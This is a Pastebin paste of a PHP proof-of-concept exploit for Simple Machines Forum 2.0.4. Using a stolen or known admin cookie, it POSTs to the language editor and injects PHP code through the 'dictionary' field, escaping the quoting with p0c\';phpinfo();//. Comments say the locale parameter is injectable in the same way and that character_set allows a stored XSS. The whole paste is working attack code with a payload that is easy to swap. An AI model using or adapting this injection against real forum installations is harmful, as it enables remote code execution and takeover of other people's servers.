SHARE
TWEET

p0c for smf 2.0.4

a guest Apr 23rd, 2013 809 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. // proof of concept that latest SMF (2.0.4) can be exploited by php injection.
  4.  
  5. // payload code must escape from \', so you should try with something like that:
  6. // p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
  7. // For character_set - another story, as far as I remember, because here we have
  8. // a nice stored xss. ;)
  9.  
  10. // 21/04/2013
  11. // http://HauntIT.blogspot.com
  12.  
  13. // to successfully exploit smf 2.0.4 we need correct admin's cookie:
  14. $cookie = 'SMFCookie956=allCookiesHere';
  15. $ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');
  16.  
  17. curl_setopt($ch, CURLOPT_HEADER, 1);
  18. curl_setopt($ch, CURLOPT_COOKIE, $cookie);
  19. curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
  20. curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
  21. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22.  
  23. $page = curl_exec($ch);
  24.  
  25. echo 'PHP code:<br>'.$page;
  26.  
  27. curl_close($ch); // to close 'logged-in' part
  28.  
  29. ?>
RAW Paste Data
Top